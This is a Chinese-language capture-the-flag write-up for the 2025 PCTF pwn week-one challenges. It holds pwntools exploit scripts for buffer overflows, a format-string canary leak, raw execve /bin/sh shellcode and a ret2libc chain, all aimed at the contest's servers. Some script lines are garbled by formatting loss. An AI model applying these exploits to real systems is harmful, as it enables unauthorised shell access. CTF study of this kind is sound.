2025PCTF的Pwn的week1及ret2libc的wp
写的比较潦草,本来是word文档的,后面比赛写的应该会更正常。
1:test_your_nc:直接nc上去,发现好像是不同进制的加减乘除,让ai写一个脚本解决
from pwn import *
import re
连接远程服务器
r = remote('challenge2.pctf.top', 31297)
context.log_level = 'debug' # 改为debug以获取更多信息
class UniversalBaseSolver:
def init(self):
self.base_chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ+-*/"
def convert_from_base(self, num_str, base):
"""将指定进制的字符串转换为十进制整数"""
if base < 1 or base > 40:
log.warning(f"Base {base} out of range 1-40")
return None
try:
if base == 1:
return len(num_str)
else:
# 对于所有进制,统一处理大小写
num_str_upper = num_str.upper()
log.info(f"Converting '{num_str}' (-> '{num_str_upper}') from base {base}")
if base <= 36:
result = int(num_str_upper, base)
log.info(f"Conversion result: {result}")
return result
else:
char_map = {char: idx for idx, char in enumerate(self.base_chars[:base])}
result = 0
for char in num_str_upper:
if char not in char_map:
log.warning(f"Invalid character '{char}' for base {base}")
return None
result = result * base + char_map[char]
log.info(f"Conversion result: {result}")
return result
except Exception as e:
log.warning(f"Conversion error: {e} for '{num_str}' in base {base}")
return None
def convert_to_base(self, num, base):
"""将十进制整数转换为指定进制字符串"""
if base < 1 or base > 40:
log.warning(f"Base {base} out of range 1-40")
return str(num)
try:
num = int(num)
log.info(f"Converting {num} to base {base}")
if base == 1:
if num < 0:
return '-' + '1' * (-num)
return '1' * num
is_negative = num < 0
n = abs(num)
if n == 0:
result = '0'
log.info(f"Result: {result}")
return result
digits = []
if base <= 36:
while n > 0:
n, remainder = divmod(n, base)
if remainder < 10:
digits.append(str(remainder))
else:
digits.append(chr(ord('A') + remainder - 10))
result = ''.join(reversed(digits))
else:
alphabet = self.base_chars[:base]
while n > 0:
n, remainder = divmod(n, base)
digits.append(alphabet[remainder])
result = ''.join(reversed(digits))
if is_negative:
result = '-' + result
log.info(f"Conversion result: {result}")
return result
except Exception as e:
log.warning(f"Base conversion error: {e}")
return str(num)
def detect_base(self, base_str):
"""检测并解析进制描述"""
base_str = base_str.lower().strip()
base_map = {
'1': 1, 'unary': 1, 'base1': 1,
'2': 2, 'binary': 2, 'bin': 2, 'base2': 2,
'3': 3, 'ternary': 3, 'base3': 3,
'4': 4, 'quaternary': 4, 'base4': 4,
'5': 5, 'quinary': 5, 'base5': 5,
'6': 6, 'senary': 6, 'base6': 6,
'7': 7, 'septenary': 7, 'base7': 7,
'8': 8, 'octal': 8, 'oct': 8, 'base8': 8,
'9': 9, 'nonary': 9, 'base9': 9,
'10': 10, 'decimal': 10, 'dec': 10, 'base10': 10,
'11': 11, 'undecimal': 11, 'base11': 11,
'12': 12, 'duodecimal': 12, 'base12': 12,
'13': 13, 'tridecimal': 13, 'base13': 13,
'14': 14, 'tetradecimal': 14, 'base14': 14,
'15': 15, 'pentadecimal': 15, 'base15': 15,
'16': 16, 'hexadecimal': 16, 'hex': 16, 'base16': 16,
'17': 17, 'base17': 17, '18': 18, 'base18': 18, '19': 19, 'base19': 19,
'20': 20, 'base20': 20, '21': 21, 'base21': 21, '22': 22, 'base22': 22,
'23': 23, 'base23': 23, '24': 24, 'base24': 24, '25': 25, 'base25': 25,
'26': 26, 'base26': 26, '27': 27, 'base27': 27, '28': 28, 'base28': 28,
'29': 29, 'base29': 29, '30': 30, 'base30': 30, '31': 31, 'base31': 31,
'32': 32, 'duotrigesimal': 32, 'base32': 32, '33': 33, 'base33': 33,
'34': 34, 'base34': 34, '35': 35, 'base35': 35, '36': 36, 'hexatrigesimal': 36, 'base36': 36,
'37': 37, 'base37': 37, '38': 38, 'base38': 38, '39': 39, 'base39': 39,
'40': 40, 'base40': 40
}
if base_str in base_map:
result = base_map[base_str]
log.info(f"Base detection: '{base_str}' -> {result}")
return result
try:
base_num = int(base_str)
if 1 <= base_num <= 40:
log.info(f"Base detection: '{base_str}' -> {base_num}")
return base_num
except:
pass
log.warning(f"Unknown base: {base_str}, defaulting to 10")
return 10
def extract_expression(self, question_text):
"""提取表达式中的数字和运算符"""
log.info(f"Extracting expression from: {question_text}")
patterns = [
r'\[[0-9]+\]\s*\(base\s+\w+\)\s*([^\s?]+)\s*([+*\-/%])\s*([^\s?]+)\s*=',
r'\(base\s+\w+\)\s*([^\s?]+)\s*([+*\-/%])\s*([^\s?]+)',
r'([^\s?]+)\s*([+*\-/%])\s*([^\s?]+)\s*=\s*\?',
]
for i, pattern in enumerate(patterns):
match = re.search(pattern, question_text)
if match:
num1, op, num2 = match.groups()
log.info(f"Pattern {i} matched: {num1} {op} {num2}")
return num1.strip(), op.strip(), num2.strip()
log.warning("No pattern matched for expression extraction")
return None, None, None
def solve_question(self, question_text):
"""主解题函数"""
log.info(f"Solving question: {question_text}")
# 提取进制信息
base_match = re.search(r'\(base\s+(\w+)\)', question_text)
if not base_match:
log.warning("Cannot find base specification with pattern 1")
base_match = re.search(r'base\s*(\w+)', question_text)
if not base_match:
log.warning("Cannot find base specification")
return None
base_str = base_match.group(1)
base = self.detect_base(base_str)
# 提取数字和运算符
num1, op, num2 = self.extract_expression(question_text)
if not all([num1, op, num2]):
log.warning("Failed to extract expression")
return None
# 转换数字
a = self.convert_from_base(num1, base)
b = self.convert_from_base(num2, base)
if a is None or b is None:
log.warning("Number conversion failed")
return None
# 执行运算
if op == '+':
result = a + b
elif op == '*':
result = a * b
elif op == '-':
result = a - b
elif op == '/':
if b == 0:
log.warning("Division by zero")
return None
result = a // b
elif op == '%':
if b == 0:
log.warning("Modulo by zero")
return None
result = a % b
else:
log.warning(f"Unsupported operator: {op}")
return None
# 转换回原进制
answer = self.convert_to_base(result, base)
# 验证转换
if answer:
verify = self.convert_from_base(answer, base)
if verify != result:
log.warning(f"Verification failed: {answer} -> {verify} != {result}")
# 尝试小写
verify_lower = self.convert_from_base(answer.lower(), base)
if verify_lower == result:
log.info("Using lowercase version for verification")
return answer.lower()
return answer
创建求解器
solver = UniversalBaseSolver()
主循环
try:
question_count = 0
while True:
# 先接收直到看到题目开始
initial = r.recvuntil(b'[', timeout=5)
# 然后接收完整的题目行
data_line = r.recvuntil(b'?', timeout=5).decode(errors='ignore')
data = '[' + data_line
question_count += 1
print(f"\n{'=' * 60}")
print(f"Question #{question_count}:")
print(data)
if any(flag in data for flag in ['PCTF{', 'flag{', 'FLAG{', 'ctf{', 'CTF{']):
print("🎉 FLAG FOUND! 🎉")
print(data)
try:
more_data = r.recvall(timeout=2)
if more_data:
print(more_data.decode(errors='ignore'))
except:
pass
break
answer = solver.solve_question(data)
if answer:
print(f"✅ Sending answer: {answer}")
r.sendline(answer.encode())
else:
log.error("❌ Failed to solve, sending '0'")
r.sendline(b'0')
try:
response = r.recvline(timeout=3).decode(errors='ignore')
print(f"Response: {response.strip()}")
if "incorrect" in response.lower() or "invalid" in response.lower():
log.error("Last answer was incorrect!")
# 重新计算并显示详细信息
log.info("=== DEBUG INFO ===")
log.info(f"Question: {data}")
log.info(f"Our answer: {answer}")
# 手动验证
base_match = re.search(r'\(base\s+(\w+)\)', data)
if base_match:
base_str = base_match.group(1)
base = solver.detect_base(base_str)
num1, op, num2 = solver.extract_expression(data)
if all([num1, op, num2]):
a = solver.convert_from_base(num1, base)
b = solver.convert_from_base(num2, base)
if a is not None and b is not None:
if op == '+':
result = a + b
elif op == '*':
result = a * b
elif op == '-':
result = a - b
elif op == '/':
result = a // b if b != 0 else None
elif op == '%':
result = a % b if b != 0 else None
if result is not None:
expected = solver.convert_to_base(result, base)
log.info(f"Expected answer: {expected}")
except:
print("⏰ No response or timeout")
except EOFError:
print("🔌 Connection closed by server")
try:
final_data = r.recvall(timeout=2)
if final_data:
print("Final output:", final_data.decode(errors='ignore'))
except:
pass
except KeyboardInterrupt:
print("⏹️ Interrupted by user")
except Exception as e:
print(f"💥 Error: {e}")
import traceback
traceback.print_exc()
r.close()
print("🔚 Script finished")
对2025道题即得flag
2:str_err首先放ida看一眼 大概就是一个比较字符串,并且第一,第二个read函数都可以栈溢出,但第一个是在strcpy溢出覆盖correct_password,第二个是可以让我们覆盖返回地址,但我们注意到其实我们已经有了correct_password,就是Secret,所以我们没必要去覆盖他,我们只要第二个read函数前面写Secret后面用空字符填充就可以通过比较,所以用直接第二个read覆盖返回地址即可,再在ida找一下就看见了后门函数
这里就可以知道我们的返回地址,接下来就好办了,checksec一下 是64位只开了nx保护,我们根据栈上信息可以知道第二个偏移量是104,所以我们可以直接开始写exp:
from pwn import *
p=remote('challenge2.pctf.top',30987)
key=0x40125B
ret=0x40125A
payload1=5b'a'
p.sendlineafter("Please input your username: ",payload1)
payload2=b'Secret'+98b'\x00'+p64(ret)+p64(key)
p.sendafter("Please input your password: ",payload2)
p.interactive()
运行即得flag
3:ret2bzdr:首先checksec一下 发现开了nx和canary保护,然后放ida看一眼
这里我们发现存在格式化字符串漏洞,那么我们关键就是要泄露出canary不过fgets限制我们只能输入8个字符,所以我们nc进去,输入AAAA%n$p先找到变量s在栈上的位置,发现在n=6时找到了我们输入的AAAA 说明s在栈上的第六个位置,而s到v2(canary)的距离为0x88即17个偏移,所以canary就在第23个位置,所以用%23$p就能泄露出canary,接下来我们找是否有后门函数,在ida看见
这是一个后门函数,虽然存在黑名单过滤,但注意到他只过滤了bin没有过滤sh,所以直接再输入sh即可getshell,所以我们可以写exp:
from pwn import *
p=remote('challenge1.pctf.top',30959)
p.recvuntil("can u solve canary?")
p.sendline(b"%23$p")
leak=p.recvline().strip()
canary=int(leak,16)
print(f"Canary: 0x{canary:x}")
ret=0x40101a
payload=136b'a'+p64(canary)+b'a'8+p64(ret)+p64(0x4013AD)
p.sendline(payload)
p.sendlineafter("OH,NO!!!HACKER!!!DON'T COME!!!",b"sh")
p.interactive()
运行即可getshell
4:func_err:首先函数checksec一下
这里我们注意到这个没开nx保护,但开了pie保护,用ida看看,这里我们注意到gift函数有%p,这样就已经把地址泄露出来了,所以我们只需要找其他地址对于那个地址的偏移量就可以凑出真正的地址从而继续我们的操作,同时在ida没看见后门函数,又因为没开nx保护,所以我们可以直接在read函数里直接构造shellcode 我们看见可以看见gift函数局部变量的地址为rbp-4h,而%p泄露的正是其地址,read函数局部变量的地址则为rbp-20h,因为他们函数连续,其间也没有返回地址压栈,所以栈帧是连续的,所以read局部变量的地址就是%p的地址-28,这样我们就可以开始写exp了:
from pwn import *
context(arch='amd64',os='linux')
p=remote('challenge1.pctf.top',32067)
p.recvuntil(b'Can you cherish her 😂
leak=int(p.recvline().strip(),16)
shelladdr=leak-28
shellcode = b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
payload=shellcode+b'a'*(40-len(shellcode))+p64(shelladdr)
p.sendline(payload)
p.interactive()
运行即可getshell
5:type_err:首先还是先checksec
64位保护全开,大概只能靠题本身来写了,放ida看一下
可以看到这里大概就是要输入两个数满足四个条件,注意到第一个条件的2,147,483,650跟32位int的最大值2,147,483,647非常接近,所以我们只需输入一个大于2,147,483,647并小于2,147,483,650的数,这样它从无符号int转化为int就会变成负数,然后满足一二两个条件,第三个条件大概就是检查其是否为一个整数,第四个条件就是首先对一个数(就是上面的0x80000000)进行加密,然后我们输入的这个数又进行相同加密,最后比较他们加密后是否相等,但我们可以看见那个值已经给出,就是0x80000000即2147483648,因为加密方式是相同的,那就把这个数输进去就行了,而这个值又恰好满足1,2,3,4条件,所以我们只需要输入两遍2147483648即可通过,而后面也确实是有shell的,
6:ret2libc:依然先checksec 既然都说了是模板题了,也确实没有system和bin/sh,那套模板就行了,首先找输出函数,这里是puts,栈溢出用gets,这里只要利用puts打印puts真实地址,利用其后三位地址泄露libc版本从而知道偏移地址,然后利用puts的真实地址-puts在libc偏移地址算出基地址,然后利用libc找system的偏移地址去+基地址,找bin/sh的偏移地址去+基地址即找到system和bin/sh,然后就可以利用rop链getshell,当然这题其实已经给了libc.so.6,相当于已经找到libc的版本,这里我们傲娇一下不用他那个,写exp如下:
from pwn import *
from LibcSearcher import LibcSearcher
elf=ELF('./pwn')
p=remote('challenge1.pctf.top',31385)
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
rop=0x4011e7
ret=0x4011E8
main=0x4011F0
payload1=72b'a'+p64(rop)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendlineafter("Please input your message: ",payload1)
p.recvuntil("Message received!\n")
leak=p.recv(6)
puts_addr=u64(leak.ljust(8,b'\x00'))
libc=LibcSearcher('puts',puts_addr)
libcbase=puts_addr-libc.dump('puts')
system=libcbase+libc.dump('system')
binsh=libcbase+libc.dump('str_bin_sh')
payload2=72b'a'+p64(ret)+p64(rop)+p64(binsh)+p64(system)
p.sendlineafter("Please input your message: ",payload2)
p.interactive()
猜libc版本一个个试就行了,这里就是输0

浙公网安备 33010602011771号